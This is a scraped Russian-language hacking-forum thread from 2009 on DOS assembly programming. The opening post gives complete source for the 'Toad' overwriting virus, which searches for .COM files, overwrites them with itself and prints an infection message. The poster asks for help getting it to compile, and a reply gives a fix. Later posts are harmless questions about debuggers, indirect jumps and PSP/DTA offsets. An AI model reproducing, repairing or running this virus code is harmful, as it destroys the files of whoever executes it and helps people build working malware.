Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

05.12.2009, 16:06
|
|
Новичок
Регистрация: 03.12.2009
Сообщений: 5
Провел на форуме: 13458
Репутация:
0
|
|
короче код не компилируется, ошибка во второй строке:
org 100h
proc toad
first_fly:
mov ah,4eh
find_fly:
xor cx,cx
lea dx,comsing
int 21h
jc wart_growth
open_fly:
mov ax,3d02h
mov dx,9eh
int 21h
eat_fly:
xchg bx,ax
mov ah,40h
mov cx,norny-first_fly
lea dx,first_fly
int 21h
stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly
wart_growth:
mov ah,09h
mov dx,wart
int 21h
cya: int 20h
comsig db "*.com",0
wart db 'Ïîçäðàâëåíèÿ! Âû çàðàçèëè âñå ÑÎÌ-ôàéëû â ýòîé', 10,13
db 'äèðåêòîðèè âèðóñîì Toad. Õîðîøåãî âàì äíÿ.', 10,13,'$'
horny label near
endp
end first_fly
|
|
|

05.12.2009, 16:09
|
|
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме: 333264
Репутация:
80
|
|
proc - это макрос. подключи macro\proc32.inc
|
|
|

05.12.2009, 16:46
|
|
Новичок
Регистрация: 03.12.2009
Сообщений: 5
Провел на форуме: 13458
Репутация:
0
|
|
эта программа для Dos'а или в досе тоже можно подключить macro\proc32.inc
|
|
|

06.12.2009, 00:23
|
|
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме: 4761503
Репутация:
229
|
|
Начинаю изучать асм, такой вопрос... Как просмотреть сод. регистра .com программы?(т.е. чтобы была возможность по этапно выполнять действ. и по этапно будет высвечивать сод. регистров (типа как в OllyDbg (но олька не понимает .com программ  )))
(в CodeView не разобрался)
|
|
|

06.12.2009, 18:35
|
|
Новичок
Регистрация: 03.12.2009
Сообщений: 5
Провел на форуме: 13458
Репутация:
0
|
|
wolmer
Попробуй AFDPro-как раз для начинающих . Скачать можно с сайта http://kalashnikoff.ru/ или с сайта wasm.ru можешь скачать другие отладчики.
|
|
|

06.12.2009, 23:48
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
ну или как вариант есть старинные отладчик от борланда, иде тв комплекте с BC++ и Паскалем борландовском.
Или старинную вешь от дяди касперерского - avputil
|
|
|

10.12.2009, 10:20
|
|
Новичок
Регистрация: 02.12.2009
Сообщений: 16
Провел на форуме: 101734
Репутация:
21
|
|
turbo debugger для начинающих вполне сойдет.
|
|
|

14.12.2009, 10:47
|
|
Новичок
Регистрация: 15.08.2009
Сообщений: 3
Провел на форуме: 12088
Репутация:
0
|
|
Здравствуйте. Вот такой случай:
Код:
jz metka[bp] ; ?????????????
Подскажите как правильно реализовать вышеприведённое на masm. Нужен условный переход по смещению - metka плюс число в bp.
|
|
|

14.12.2009, 11:01
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
ну тогда как вариант вот так
mov ax, metka
add ax, bp
jz ax
Последний раз редактировалось slesh; 14.12.2009 в 11:50..
|
|
|

15.12.2009, 03:15
|
|
Новичок
Регистрация: 15.08.2009
Сообщений: 3
Провел на форуме: 12088
Репутация:
0
|
|
Ответте пожалуста.
1. Почему при использовании переменной 4е, в PSP записывается размер найденного файла то по смещению 1а, то 9а. Аналогично имя найденного файла то 1е, то 9е. Получается разница равная адресу DTA. Какая тут связь?
2. Когда нужно узнать из запущенной программы её имя, то по PSP:002с находим сегмент переменных среды и по "[002cH]:0 плюс конец перечисления переменных" находится
имя запущенного файла.
Вопрос - где нибудь ещё храниться имя запущенной программы.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|